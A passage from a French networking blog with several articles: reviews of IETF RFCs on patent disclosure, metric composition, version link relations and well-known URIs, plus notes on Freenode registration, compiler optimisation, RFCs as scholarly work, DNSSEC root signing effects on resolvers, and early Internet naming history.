Par exemple, les articles de Cédric Biagini et Guillaume Carnino « Le livre dans le tourbillon numérique » ou de Eric Klinenberg, « Une révolution en trompe l'œil », relèvent de l'anti-Internet classique (« Internet liquide la faculté cognitive », ou « l'information en ligne manque de fiabilité » - comme si c'était mieux dans les journaux papier). Il y a certes un vague habillage de gauche (qui consiste surtout en attaques contre Google) mais il masque mal le pur conservatisme. Souvent, il n'y a même guère d'originalité comme dans la Nème attaque contre Wikipédia, « Wikipédia ou la fin de l'expertise ? » de Mathieu O'Neil qui commence bien, avec des problèmes rarement étudiés (comme les ravages du destructionnisme dans Wikipédia) pour continuer avec les exemples mille fois cités de Seigenthaler et Essjay.

Mais il y a aussi des articles de l'autre bord, contre l'appropriation intellectuelle (le brûlant « La propriété intellectuelle, c'est le vol » de Joost Smiers ou bien le très documenté « Pourquoi les ventes de disque baissent-elles ? » de Laurent Chemla, qui fait remarquer que l'industrie du jeu vidéo ne réclame pas son HADOPI alors que ses créations sont tout autant copiées illégalement que la musique), sur la bibliothèque idéale (Robert Darnton « La bibliothèque universelle, de Voltaire à Google ») ou sur les grandes manœuvres industrielles autour de l'Internet.

Par contre, je n'ai pas compris où voulait en venir Isabelle Collet dans « L'informatique a t-elle un sexe ? ». L'article n'a pas de rapport avec l'Internet et semble surtout destiné, plutôt qu'à promouvoir l'informatique auprès des femmes, à régler des comptes avec les programmeurs accusés d'accaparer seul le titre d'informaticien. Mais Isabelle Collet ne cite pas un seul autre métier de l'informatique (comme ingénieur système) et les femmes informaticiennes cités sont toutes des programmeuses (Ada Lovelace, Grace Hopper...) J'ai donc fait ma liste.


L'article seul

RFC 3979: Intellectual Property Rights in IETF Technology

Date de publication du RFC : Mars 2005
Auteur(s) du RFC : S. Bradner (Harvard University)
Première rédaction de cet article le 15 avril 2010


L'appropriation intellectuelle est partout aujourd'hui (je recommande d'ailleurs l'excellent article du Monde Diplomatique pour une analyse en profondeur de ce phénomène) et donc logiquement aussi dans les organismes de normalisation. Même l'IETF, traditionnellement un rassemblement de gros barbus qui savent programmer en assembleur mais ne connaissent rien au droit, a dû évoluer. C'était l'objet de ce RFC, qui mettait à jour le RFC 2026 sur les questions de brevets (nommées, à tort, questions de « propriété intellectuelle », alors que les brevets ne sont pas la même chose que les copyrights, traités dans le RFC 5378). Lui-même a été remplacé depuis par le RFC 8179.

Donc, sur quels principes repose la politique de l'IETF au sujet des brevets ? L'idée de base est de s'assurer que l'IETF disposera d'information sur les brevets pouvant s'appliquer à une norme donnée, de façon à pouvoir prendre une décision en toute connaissance de cause. Il n'y a par contre pas de mécanisme automatique de décision, par exemple « Ne jamais normaliser des technologies brevetées ». En effet, compte-tenu du fait que l'écrasante majorité des brevets logiciels est futile, enregistrée uniquement parce que les organismes de brevetage ont un intérêt financier à accepter tout et n'importe quoi, une telle politique mènerait à ne rien pouvoir normaliser.

En pratique, tout ce RFC 3979 pourrait donc se résumer à « Tout participant à l'IETF qui connait ou devrait connaitre un brevet pouvant s'appliquer à une technique en cours de discussion doit en informer l'IETF ». C'est tout. Mais il y a quelques détails pratiques.

D'abord, il faut rappeler que ce sont officiellement des individus qui participent à l'IETF, pas des sociétés. Donc l'obligation s'applique à ces individus et ils ne peuvent pas y échapper en prétendant que leur compagnie leur interdit de réveler un brevet sous-marin (brevet sur lequel on fait peu de publicité, pour le ressortir une fois que la technique brevetée a été largement adoptée). Ensuite, le RFC définit ce que signifie contribuer à l'IETF (section 1). Par exemple, écrire sur une liste de diffusion d'un groupe de travail est une contribution. Cette règle est régulièrement rappelée par le fameux Note Well.

La section 1 définit formellement bien d'autres choses. Un concept essentiel mais souvent oublié est le Reasonably and personally known. Il désigne une information que le participant connait ou devrait connaitre, vue sa position dans l'entreprise qui l'emploie. L'idée est que le participant IETF n'est pas obligé de chercher activement dans le portefeuille de brevets de son entreprise, que l'obligation ne s'applique qu'à ce qu'il connait forcément, depuis son poste. Le but de l'ajout reasonably est d'éviter qu'une entreprise ne dissimule un brevet à ses propres employés.

Le RFC sur le mécanisme de l'IETF, le RFC 2026, dans sa section 10, exposait déjà les principes de gestion des brevets. Le RFC 3979 le met à jour uniquement en clarification, les principes restent les mêmes :

  • L'IETF ne va pas chercher à déterminer si un brevet est futile ou pas (cela peut être un très gros travail, la plupart des brevets étant rédigés en termes incompréhensibles),
  • L'IETF peut normaliser ou pas une technique brevetée, il n'y a pas de refus systématique,
  • Pour pouvoir néanmoins savoir où on va, l'IETF a besoin d'information et c'est de là que découle l'exigence de divulgation des brevets.

La section 3 rentre dans le concret, même si elle commence par un bel exercice de langue de bois (« The intent is to benefit the Internet community and the public at large, while respecting the legitimate rights of others. »). C'est elle qui impose que le contributeur à l'IETF ait bien divulgué tous les brevets qu'il connaissait « raisonnablement ». La section 4 indique ce que l'IETF va en faire, de ces divulgations : indication dans le RFC du fait qu'il existe des brevets pouvant s'y appliquer et publication de ces divulgations en http://www.ietf.org/ipr/. L'IETF n'ajoutera aucune appréciation sur la validité du brevet, ou sur les conditions de licence (section 4.1). Une telle appréciation nécessiterait en effet un long et coûteux travail juridique. Cette section 4 a fait l'objet d'une légère clarification ultérieure dans le RFC 4879.

La note à inclure dans le RFC est précisée en section 5. Tirée d'un RFC réel, le RFC 5336, voici un exemple :

Intellectual Property

   The IETF takes no position regarding the validity or scope of any
   Intellectual Property Rights or other rights that might be claimed to
   pertain to the implementation or use of the technology described in
   this document or the extent to which any license under such rights
   might or might not be available; 
...

Quel est exactement le brevet que pourrait enfreindre ce RFC ? Le moteur de recherche des divulgations nous apprend qu'il n'y a pas de divulgations directement liées à ce RFC mais qu'il en existe pour des RFC dont il dépend (comme la #1000, futile et due à un patent troll connu). Autre exemple, plus grave, la divulgation #1154 se réclame d'un brevet sur les courbes elliptiques qui s'appliquerait à tous les RFC parlant d'un protocole qui peut utiliser ces courbes, comme le RFC 5246.

Les divulgations ne sont pas incluses dans les RFC eux-mêmes (section 11) car elles peuvent évoluer dans le temps alors que le RFC est stable. Il faut donc aller voir sur http://www.ietf.org/ipr/.

Les divulgations sont-elles spécifiées plus en détail ? Oui, en section 6. La 6.1 précise qui doit faire la divulgation (le participant, en tant que personne physique), la section 6.2 donne les délais (« aussi vite que possible »), la section 6.4.3 rappelle que la divulgation doit être précise et qu'un contributeur ne peut pas se contenter de vagues généralités. Le tout est aussi mis en ligne, en http://www.ietf.org/ipr-instructions.

Et si un tricheur, comme la société RIM, ne respecte pas cette obligation de divulgation ? La section 7 ne prévoit aucune dérogation : si, par exemple, une société empêche ses employés de divulguer les brevets, ces employés ne doivent pas participer à l'IETF. Le RFC 6701 liste les sanctions possibles contre les tricheurs et le RFC 6702 expose comment encourager le respect des règles.

Bien, donc, arrivé là, l'IETF a ses informations et peut prendre ses décisions. Sur la base de quelles règles ? La section 8 rappelle le vieux principe qu'une technique sans brevets est meilleure ou, sinon, à la rigueur, une technique où le titulaire des brevets a promis des licences gratuites. Mais ce n'est pas une obligation, l'IETF peut choisir une technologie brevetée, même sans promesses sur la licence, si cette technologie en vaut la peine.

La seule exception concerne les techniques de sécurité obligatoires : comme tout en dépend, elles ne doivent être normalisées que s'il n'existe pas de brevet ou bien si la licence est gratuite.

Je rappelle que ce RFC n'est plus d'actualité, il a été remplacé par le RFC 8179.


Téléchargez le RFC 3979


L'article seul

Des canaux Freenode imposent désormais l'authentification

Première rédaction de cet article le 13 avril 2010
Dernière mise à jour le 8 juin 2010


Depuis fin janvier, un des canaux que j'utilise sur le serveur IRC Freenode impose une authentification. Bon, sécuriser IRC, c'est un peu comme... je ne sais pas... pasteuriser le camembert ? Mais, bon, pas le choix, il faut y aller, la prévalence du spam, sur IRC comme ailleurs, fait qu'il n'y a plus le choix.

Symptôme soudain : plus moyen d'écrire (ici, sur le canal #go-nuts consacré à Go) :

(17:24:08) bortzmeyer: I do not find the way to have varying types (structs with a part which depends on some fields, like CASE in Ada or unions in C)
(17:24:08) Please register with services and use the IDENTIFY command (/msg nickserv help) to speak in this channel

Certes, les serveurs et clients IRC réels sont assez loin de la norme (RFC 2810 et suivants), mais pas de panique, tout est documenté. La solution immédiate est de s'enregistrer :

(17:27:20) bortzmeyer:  /msg NickServ  REGISTER MonSecret stephane+freenode@bortzmeyer.org
(17:27:20) Please register with services and use the IDENTIFY command (/msg nickserv help) to speak in this channel
(17:28:43) bortzmeyer:  /msg NickServ IDENTIFY MonSecret
(17:28:44) NickServ: (notice) You are now identified for bortzmeyer.
(17:28:48) bortzmeyer: I do not find the way to have varying types (structs with a part which depends on some fields, like CASE in Ada or unions in C)

Et ça marche.

Comment le rendre permanent et éviter de taper IDENTIFY à chaque connexion ? Avec Pidgin, le plus simple est, dans la configuration du compte Freenode, de mettre le « nick » (dans Username) et le mot de passe (dans Password). (Pidgin utilisant la bibliothèque purple, le mot de passe est stocké dans $HOME/.purple/accounts.xml.)

Merci à Gérard Bigot, gapz, gebura et bug pour leur aide. La documentation de Freenode sur leur authentification est en http://freenode.net/faq.shtml#registering.


L'article seul

Le compilateur est plus fort que toi

Première rédaction de cet article le 13 avril 2010


L'exposé « Source Code Optimization » de Felix von Leitner (contributeur entre autres à mutt) expose la vanité qu'il y a à optimiser le code C à la main alors que le compilateur fait mieux dans la plupart des cas.

L'exemple de la page 37 - le programmeur a fait un décalage pour optimiser une division - est particulièrement simple, mais celui de la page 42, tiré d'un codec vidéo réel, est encore plus éclairant.

L'auteur teste du code C avec plusieurs compilateurs (comme gcc, llvm, Intel C ou Sun C) et compare le code assembleur produit. Il est presque toujours meilleur que ce que le programmeur normal produirait lorsqu'il essaie d'« optimiser ».

À noter qu'il ne semble pas y avoir un compilateur radicalement meilleur, chacun est plus fort sur certaines optimisations et pas sur d'autres.

Attention, c'est long et compliqué (ce sont des transparents, le code assembleur n'est pas toujours expliqué). Il faut bien réviser son assembleur x86 avant.

Tiens, un petit test : quelles sont les quatres façons possibles, en assembleur, de mettre zéro dans un registre (p. 70) ? Je donne la plus facile, mov $0,%eax, à vous de trouver les trois autres. Bonus : prédire quelle est la plus efficace.

Merci à Mathieu Arnold pour le titre de cet article.


L'article seul

RFC 5835: Framework for Metric Composition

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. Morton (AT&T Labs), S. Van den Berghe (Alcatel-Lucent)
Pour information
Réalisé dans le cadre du groupe de travail IETF ippm
Première rédaction de cet article le 13 avril 2010


Le groupe de travail IETF sur les performances, IPPM, définit un grand nombre de métriques, de grandeurs mesurables, par exemple dans son RFC 2330. Si ce RFC avait déjà abordé le problème de la composition des métriques, il n'avait pas répondu à toutes les questions sur cette composition, ce que fait désormais notre RFC 5835. Comment combiner des mesures dans le temps et l'espace ?

Une telle demande est fréquente chez les opérateurs (section 1.1). Une mesure isolée ne sert en général pas à grand'chose et il faut donc pouvoir les composer (récolter et distribuer un ensemble de mesures) et les agréger (réduire un ensemble de mesures à une seule).

Par exemple, l'administrateur réseaux a souvent besoin de mesures immédiates, obtenues rapidement, pour résoudre un problème précis (ceux qu'on débogue avec ping...). Mais celui qui planifie les évolutions futures du réseau a besoin de mesures répétées sur une longue période, par exemple pour détecter des tendances. Les mesures utiles au premier peuvent aussi l'être au second si on les compose sur cette longue période (section 1.1.2).

Quant à l'agrégation, son but principal est de diminuer la quantité de données (section 1.1.3). Cela facilite le travail de l'humain, qui a ainsi une donnée plus simple à lire et à comprendre et on peut même mettre ces mesures agrégées dans un SLA.

Toutes les données ne se prêtent pas forcément bien à la composition et à l'agrégation. La section 2 exclut donc des métriques comme le réordonnancement des paquets (RFC 4737) et la duplication (RFC 5560). Par contre, les métriques « perte de paquets » (RFC 7680) ou « variation de délai d'acheminement » (RFC 5481) sont parfaitement composables.

La section 3 décrit les mots utilisés dans le reste du RFC. Un terme est particulièrement important, celui de « vérité de base » (ground truth, section 3.7) qui désigne la « vraie » valeur agrégée, celle qu'on va essayer d'atteindre.

Armés de ces mots, on peut alors passer aux compositions elle-mêmes (section 4). Il y a d'abord l'agrégation temporelle (section 4.1), qui consiste à combiner des mesures faites au même endroit et dans les mêmes conditions, mais à des instants différents. Par exemple, si on a mesuré les maxima et minima d'un délai d'acheminement toutes les cinq minutes, on peut agréger à une mesure toutes les soixante minutes en prenant le maximum le plus élevée d'une série de douze mesures successives (et le minimum le moins élevée de la même série, pour trouver le minimum agrégé). Attention, le RFC 2330 parlait de « composition temporelle » pour désigner une opération assez différente, de prédiction de valeurs inconnue.

L'agrégation spatiale, elle (section 4.2), agrège des mesures du même type faites à des endroits différents. Par exemple, si on a mesuré des délais d'acheminement des paquets à plusieurs endroits d'un grand réseau, et qu'on veut déterminer un délai « moyen », le calcul naïf de la moyenne serait assez faussé par quelques liens peu utilisés et la bonne façon d'agréger est donc une moyenne pondérée par l'importance du trafic sur chacun des liens mesurés.

Autre exemple d'agrégation spatiale, un opérateur réseau veut connaître le délai d'acheminement d'un paquet dans son réseau. Comme ce dernier a beaucoup de points d'entrée et beaucoup de points de sortie, la liste des délais va être longue. L'opérateur peut la raccourcir par une agrégation spatiale : garder uniquement le délai maximum (qui sera ainsi une borne supérieure du temps passé dans le réseau).

L'agrégation spatiale diminue la résolution de l'information (c'est bien son but : simplifier les données). La composition spatiale, elle (section 4.3), combine plusieurs mesures faites à des endroits différents pour trouver une mesure globale. Un exemple typique est la mesure du délai d'acheminement du point A au point D si on connait les délais de A à B, de B à C et de C à D. Une simple addition donnera alors le délai total (approximatif : par exemple, il n'est jamais garanti que les délais soient parfaitement additifs).

Une fois qu'on a combiné des mesures, on peut continuer le processus dans d'autres combinaisons (section 4.5). Par exemple, les résultats d'une agrégation temporelle (qui diminue la résolution des mesures mais les rend plus faciles à analyser et plus légères à copier sur le réseau) peuvent faire l'objet d'une nouvelle agrégation qui va encore diminuer la résolution (et le volume des données).

Le principal but de notre RFC étant de paver la voie pour de futurs RFC définissant rigoureusement des métriques composées et agrégées, la section 5 donne les exigences auxquelles ces futures métriques devront obéir, par exemple une description claire des suppositions sur lesquelles elles reposeront, une explication de leur utilité pratique, une analyse des sources d'erreur, etc. Le premier de ces RFC a été le RFC 6049.

Il y a même une mention des risques liés à l'appropriation intellectuelle, en section 5.1, qui rappelle que, si une seule des métriques est plombée par un brevet ou une appropriation similaire, alors la composition entière l'est.

Enfin, la section 6 donne des conseils sur la composition de métriques, tournant en général autour de l'idée de « vérité de base ». Ainsi, lors d'une composition temporelle (section 6.1.1), la vérité de base est la mesure effectuée sur tout l'intervalle. Si je mesure le taux de perte de paquets (RFC 7680) sur trois intervalles contigus, de durées égales, T1, T2 et T3, et que je fais une composition temporelle (en prenant la moyenne) pour trouver le taux de pertes de l'intervalle T (= T1 + T2 + T3), une mesure directe pendant T nous aurait donné la vérité de base. La composition idéale devrait donc donner une valeur proche de la vérité de base.

Qu'est-ce qui empêche une composition de s'en tenir à cet idéal ? Comme le note la section 6.2, cela peut être la propagation d'erreurs de mesure, ou bien une légère différence dans ce qui est mesuré. Par exemple, lors d'une composition spatiale, le délai d'acheminement d'un paquet entre A et C (séparés par un routeur B) n'est pas réellement la somme des délais de A à B et de B à C car il y a un temps de traitement dans B.

Autre piège dans les mesures : le trafic sur l'Internet réel dépend souvent du temps. Par exemple, des variations sur un rythme quotidien sont très courantes. Composer des mesures prises à des moments différentes peut donc donner des résultats erronés (section 6.4). À noter que certaines métriques ne dépendent quasiment pas du moment de la mesure, par exemple le délai minimum d'acheminement des paquets.


Téléchargez le RFC 5835


L'article seul

Peut-on considérer les RFC comme des publications scientifiques ?

Première rédaction de cet article le 9 avril 2010


On le sait, le monde de la recherche scientifique est très pointilleux sur le mécanisme d'évaluation du travail des chercheurs. On n'est évalué (et donc on n'a la possibilité de progresser) que si on publie des sacro-saints « papiers dans une revue avec comité de lecture ». Les chercheurs qui sortent des chemins battus, par exemple parce qu'ils veulent mettre leur travail sur l'Internet sans passer par les fourches caudines d'Elsevier ou autres parasites intermédiaires risquent de voir leur travail non pris en compte, par exemple par les divers comités qui décident de leur avancement.

Et si on publie un RFC ? Est-ce que ça peut compter pour la carrière d'un chercheur ? Peut-on le citer dans sa bibliographie ? C'est le point de départ de l'article de Brian Carpenter et Craig Partridge, « Internet RFCs as scholarly publications » qui démontre brillament que les RFC, dans leur processus de publication, reçoivent au moins autant de peer review que les publications scientifiques traditionnelles.

Le point important devrait en effet être, non pas la publication sur papier, non pas le fait de passer par une revue « officielle », mais la vérification par les pairs, par les autres experts. C'est ce qui fait la différence entre un travail scientifique et, par exemple, ce blog, certes de qualité, mais dont la grande majorité des articles n'ont pas été relus avant publication (et certains même pas après) et qui n'a aucun mécanisme d'évaluation formelle, je ne publie que ce qui me plait, comme ça me plait.

Les RFC, eux, suivent un parcours bien différent, expliquent les auteurs. Si les premiers d'entre eux (comme le RFC 1) étaient écrits dans une salle de bains et publiés « à la volée », depuis, le processus s'est beaucoup durci. Les RFC ont désormais un statut formel (le plus ancien ayant le statut de norme est le RFC 768) et ce statut ne s'obtient qu'après un long examen par des experts (cf. RFC 2026).

L'article décrit ensuite cet examen, dans sa forme actuelle, spécifiée dans le RFC 4844. Si un Internet-Draft peut être publié sans formalité par n'importe qui, il ne devient RFC qu'après un parcours du combattant, nécessitant, dans certains cas, une décision de l'IESG. Même les RFC de la « voie indépendante » (RFC 4846), a priori les moins formels, font l'objet d'un examen, au moins équivalent à celui des articles scientifiques traditionnels, et qui est en outre effectué publiquement, ce qui permet à tout lecteur d'évaluer l'évaluation.

Une question plus délicate est de déterminer à partir de quand on peut dire que tout RFC a été évalué par les pairs. Pour ceux qui sont sur le « chemin des normes », comme le RFC 768 cité plus haut, cela a toujours été le cas. Pour les autres, on peut dire que cette évaluation a été systématique au moins depuis le RFC 1602 en 1994.

La culture des auteurs de RFC étant très orientée vers les applications pratiques, il n'est pas étonnant que l'article se termine par des suggestions sur le format de citation des RFC dans un article, et par un exemple en BibTeX. Je le modifie légèrement pour utiliser un autre RFC comme exemple, le RFC 5198 :

@ARTICLE{rfc5198,
   AUTHOR = "J. Klensin and M. Padlipsky",
   TITLE = "{Unicode Format for Network Interchange}",
   JOURNAL = {Internet RFCs, ISSN 2070-1721},
   VOLUME = "RFC 5198",
   YEAR = {2008},
   MONTH = MAR,
   URL = {http://www.rfc-editor.org/rfc/rfc5198.txt}
}

L'article seul

Dans quels cas les résolveurs DNS auront-ils des problèmes le 5 mai ?

Première rédaction de cet article le 7 avril 2010


Le 5 mai de cette année, le dernier serveur racine du DNS qui envoyait encore des réponses DNS non-signées va s'aligner sur les autres et enverra, lui aussi, les signatures. Qu'est-ce qui va casser et comment ?

Cet article est assez technique et rentre dans les détails du fonctionnement du DNS. Si vous êtes seulement intéressé par les mesures pratiques à prendre pour tester votre configuration DNS, voyez plutôt mon article d'introduction. Plusieurs personnes m'ont demandé « mais si mon système rate le test signalé dans votre article, est-ce que je vais forcément être victime du 5 mai ? ». La réponse est « ça dépend » et cet article explique de quoi ça dépend.

Donc, quelles sont les conditions exactes qu'il faudra pour qu'un résolveur, à partir du 5 mai, ne puisse plus joindre les serveurs de la racine et n'aie donc plus accès au DNS ? D'abord, un point de vocabulaire, lorsque je dis « résolveur », je parle du logiciel qui envoie les requêtes DNS aux serveurs de la racine et lorsque je dis « client DNS », je parle de l'entité vue par le serveur racine. La différence entre les deux ? Aucune dans le cas d'un chemin normal entre le résolveur et le serveur racine. Mais, si un intermédiaire (pare-feu, par exemple) modifie la requête, le serveur racine ne verra pas la même chose que ce qu'a envoyé le résolveur.

Donc, pour qu'il y aie un problème avec la signature de la racine, il faut que le client DNS envoie une demande de signatures mais que la réponse à celle-ci ne puisse pas être reçue en raison de sa trop grande taille. Commençons par le premier point, la demande de signatures.

Pour des raisons de compatibilité avec la base de logiciels existants, le RFC sur DNSSEC, le RFC 4035 (section 3.1), dit que le serveur faisant autorité doit envoyer les informations DNSSEC (notamment les signatures) lorsque le client DNS a utilisé EDNS0 (RFC 2671) et a mis le bit DO (RFC 3225) à 1. Sinon, le serveur ne doit pas noyer le client sous ces informations (RFC 3225, section 3).

Un très vieux résolveur, qui ne connait pas DNSSEC (a fortiori s'il en connait pas EDNS0) n'aura donc pas de problèmes. Il ne pourra pas faire de DNSSEC mais n'aura de la racine que les informations non signées, dont la taille reste bien inférieure aux 512 octets. (Avec dig, l'option +dnssec active ce bit DO.)

Mais le résolveur le plus utilisé, BIND, met le bit DO à 1 par défaut, même s'il n'est pas configuré pour valider (par exemple parce qu'il a l'option dnssec-validation no). Donc, tout résolveur BIND va envoyer le bit DO, la racine enverra les signatures (aujourd'hui, de 700 à 800 octets) et il faut que le chemin de retour soit propre, que la réponse de plus de 512 octets ne soit pas bloquée.

En fait, c'est encore un peu plus compliqué que cela, car cela dépendra d'un autre paramètre envoyé grâce à EDNS0, la taille maximale des réponses. Elle est de 4096 octets par défaut avec BIND mais peut être réduite par configuration. Si on la met à 512 octets, même avec le bit DO, les serveurs racine réagissent alors en diminuant le nombre de colles (adresses IP des serveurs) envoyées, repassant ainsi sous la limite tragique. Si le serveur a plus d'informations à faire passer et qu'elles ne tiennent pas dans 512 octets, même en laissant tomber ce qui n'est pas indispensable, alors il doit mettre le bit TC (TrunCation) à 1 dans la réponse et le résolveur doit normalement réessayer avec TCP, qui n'a jamais eu la limite de 512. Si le résolveur ne peut pas faire de TCP (par exemple parce qu'un pare-feu a été configuré par un ignorant qui croit que le DNS utilise uniquement UDP), il sera alors fichu.

Bien, mettons-nous maintenant dans le cas où le client DNS demande les signatures, la taille qu'il indique est de 4096 octets, la réponse fait plus de 512 octets. Que va t-il se passer ? Normalement, rien, le DNS n'a plus de limite à 512 octets depuis plus de dix ans, et la réponse va arriver intacte.

Dans la réalité, il existe beaucoup de réseaux mal configurés avec les pieds. Il y a deux cas à considérer : la réponse DNS fait plus de 512 octets mais moins de 1500 (ou plutôt 1492, pour avoir une marge, par exemple pour PPPoE). Dans ce cas, il n'y aura pas de problème de MTU et le seul risque est celui d'un pare-feu ou autre middlebox mal programmé et/ou mal configuré qui bloque ce paquet (à noter que ladite middlebox peut être du côté du résolveur ou bien du côté du serveur faisant autorité), croyant bêtement que le DNS, c'est moins de 512 octets. Dans ce cas, le résolveur ne verra jamais venir la réponse. (Notons que ce problème ne date pas de DNSSEC, car, aujourd'hui, les réponses à des requêtes comme NS . ou NS com. font déjà plus de 512 octets.)

À noter que certains résolveurs, comme BIND, s'ajustent automatiquement dans ce cas, et que, ne voyant pas venir la réponse, ils réessaient sans EDNS. Cela prend du temps (il faut attendre l'expiration d'un délai), cela reviendra à couper DNSSEC mais, au moins, la résolution DNS fonctionnera toujours.

Deuxième cas, la réponse fait plus de 512 octets et même plus que la MTU du lien (typiquement 1500 octets, la MTU d'Ethernet mais elle peut être plus petite dans certains cas). Ce n'est pas le cas avec la racine aujourd'hui, mais cela pourrait changer. Normalement, la solution est la fragmentation des paquets. De nombreuses études ont montré que ce n'était pas un processus fiable (voir par exemple le RFC 2923), notamment en raison des équipements intermédiaires bogués qui refusent les fragments (surtout en UDP). La réponse n'arrivera alors pas et le comportement du résolveur semblera aléatoire car les réponses plus petites que la MTU, elles, passeront toujours. BIND, là encore, finira sans doute par essayer sans EDNS, ce qui empêchera d'utiliser DNSSEC. Certaines réponse seront tronquées, forçant le passage en TCP et, là encore, il faudra donc que TCP soit possible, sur le résolveur, sur le serveur faisant autorité (voilà pourquoi Zonecheck teste cela) et sur le chemin entre eux (pare-feux...)

Cela semble compliqué, expliqué en langage naturel ? Alors, essayez le même texte mais en pseudo-code, en syntaxe vaguement Ada : dns-size-pseudocode.txt.

Alors, quelle conclusion en tirer ? On l'a vu, pour un blocage complet de la résolution DNS, il faudrait beaucoup de conditions simultanées, et qu'elles sont rarement réalisées pour un site qui abrite un résolveur (le client ordinaire d'un FAI avec lien ADSL n'a en général pas de résolveur chez lui). Il est donc probable que, le 5 mai, très peu de sites seront coupés complètement. Et ceux-ci cumulent vraiment les erreurs de configuration... Le plus probable est que beaucoup de sites verront une dégradation des performances mais que peu seront complètement hors-service.

Merci à Bert Hubert, Nicholas Weaver, Michael Sinatra et alnitak pour leurs premières explorations du problème.

Quelques références utiles :


L'article seul

Les premières années du nommage dans l'Internet, vue par une participante

Première rédaction de cet article le 7 avril 2010


Comment a t-on commencé à donner des noms aux ordinateurs sur l'Internet ? On trouve beaucoup de récits fantaisistes dans les journaux. Heureusement, Elizabeth Feinler, qui a vécu tout ce processus depuis le début, notamment en tant que directrice du NIC de SRI a mis tout cela par écrit dans un excellent texte envoyé sur la liste internet-history, « Host tables, top level domain names and the origin of dot com ».

C'est un très bon document, qui remonte loin, à l'époque du RFC 235, en 1971. Ce RFC fut la première documentation d'une liste des machines attachées à l'Arpanet. Cette liste a ensuite progressé, est passée sous la responsabilité du NIC (et donc d'Elizabeth Feinler), a fini par être elle-même distribuée sur le réseau (RFC 606), puis a vu son format être normalisé (RFC 627 en 1974).

En 1983, avec le RFC 882 (depuis remplacé par le RFC 1034) arrive une toute nouvelle technique, le DNS, qui dispense de gérer un fichier central (sur ce point, voir mon article « Quelques éléments d'histoire du DNS »). La transition vers le DNS commence (RFC 897), ainsi que les grands débats de gouvernance sur le meilleur schéma de nommage. Ce n'est pas tout de suite qu'on pense à un TLD pour les entreprises commerciales (rares sur l'Internet à l'époque puisque, comme toutes les grandes infrastructures, l'Internet a été développé avec l'argent public) et deux noms sont proposés, .com et .bus (pour business) qui avait la préférence d'Elizabeth Feinler. On sait qu'elle n'a pas été suivie sur ce point... (le RFC 920 a été le premier à publier la liste.) Comme rien n'était fixé fermement à l'époque, il y a eu plein de projets qui semblent fantaisistes aujourd'hui comme de confier .com à l'ANSI.

Comme il semble qu'il n'existe pas de distribution officielle de ce document, à part les archives de la liste internet-history, j'en ai mis deux copies ici, au format OpenOffice et au format PDF.


L'article seul

RFC 5829: Link Relation Types for Simple Version Navigation between Web Resources

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : A. brown, G. Clemm (IBM, J. Reschke (greenbytes)
Pour information
Première rédaction de cet article le 7 avril 2010


Ce document spécifie des types de liens qui peuvent exister entre ressources Web, notamment si elles sont versionnées (voir la section 2 pour le vocabulaire spécifique du versionnage). Par exemple, un lien peut pointer vers la dernière version d'une ressource, ou vers son historique.

Ces liens sont notamment utilisés pour le format de syndication Atom (élement <atom:link>, section 4.2.7 du RFC 4287), ainsi que pour le système CMIS. Mais HTML peut en bénéficier aussi, pour son élément <link>. Ainsi, en HTML :


<link rel="latest-version" href="latest-thing.html">

sera désormais possible. Quant aux protocoles pour gérer les versions, beaucoup sont spécifiques à un VCS donné mais il y a eu aussi des normalisations, comme celle du RFC 3253.

La section 3 liste les nouveaux types de relations :

  • version-history, l'historique du document,
  • latest-version, la dernière version,
  • etc...

Tous ces types sont enregistrés dans le registre IANA.

Des exemples d'utilisation figurent en annexe A, notamment pour le champ Link: de HTTP (qui avait été normalisé dans la section 19.6.1.2 du RFC 2068, puis abandonné dans la norme actuelle, le RFC 2616, mais qui pourrait ressusciter).

Quelques petits avertissements de sécurité, en section 5 : un lien peut partir sur un autre site, et ne doit donc pas forcément être suivi automatiquement. Et l'historique peut réveler des choses sur une version, même si la ressource correspondant à cette version est interdite d'accès.


Téléchargez le RFC 5829


L'article seul

RFC 5785: Defining Well-Known URIs

Date de publication du RFC : Avril 2010
Auteur(s) du RFC : M. Nottingham, E. Hammer-Lahav
Chemin des normes
Première rédaction de cet article le 7 avril 2010
Dernière mise à jour le 7 octobre 2014


Plusieurs normes du Web s'appuient sur l'existence d'un fichier à un endroit bien connu d'un site. Les deux exemples les plus connus sont robots.txt et favicon.ico. Jusqu'à présent, ces endroits « bien connus » étaient alloués sans schéma central. Notre RFC propose de mettre tous ces fichiers « sous » /.well-known/ pour construire des URI. (Il a depuis été remplacé par un document plus récent, le RFC 8615.)

Prenons l'exemple le plus connu, robots.txt, fichier stockant la politique d'autorisation des robots qui fouillent le Web. Si un robot examine le site Web http://www.example.org/, il va tenter de trouver ledit fichier en http://www.example.org/robots.txt. Même chose pour, par exemple, sitemap.xml ou P3P (section 1 du RFC). Ce système a plusieurs inconvénients, notamment le risque de collision entre deux noms (puisqu'il n'y a pas de registre de ces noms) et, pire, le risque de collision entre un de ces noms et une ressource normale du site. Cela fait donc des années que plusieurs personnes réclamaient un « rangement » de ces ressources bien connues. C'est désormais fait : les ressources bien connues doivent dorénavant être préfixées de /.well-known/. Ainsi, si le protocole d'autorisation des robots était normalisé aujourd'hui, on récupérerait la politique d'autorisation en http://www.example.org/.well-known/robots.txt.

À noter que le RFC spécifie uniquement un préfixe pour le chemin de la ressource, .well-known n'est pas forcément un répertoire sur le disque du serveur (même si c'est une mise en œuvre possible).

Le RFC 5785 note aussi qu'il existe déjà des mécanismes de récupération de métadonnées par ressource (comme les en-têtes de HTTP ou les propriétés de WebDAV) mais que ces mécanismes sont perçus comme trop lourds pour remplacer la ressource unique située en un endroit bien connu.

La section 1.1, par contre, met en garde contre un usage tous azimuts de .well-known. Compte-tenu de l'architecture du Web, il ne s'agit pas d'un mécanisme général de récupération d'information, juste d'une optimisation quand, par exemple, il faut évaluer une politique avant d'accéder à une ressource.

Le nom .well-known a été choisi car il avait peu de chances de rentrer en conflit avec un nom existant (traditionnellement, sur Unix, système d'exploitation le plus utilisé sur les serveurs Web, les fichiers dont le nom commencent par un point ne sont pas affichés). Une recherche sur Google avait confirmé que ce nom était largement libre.

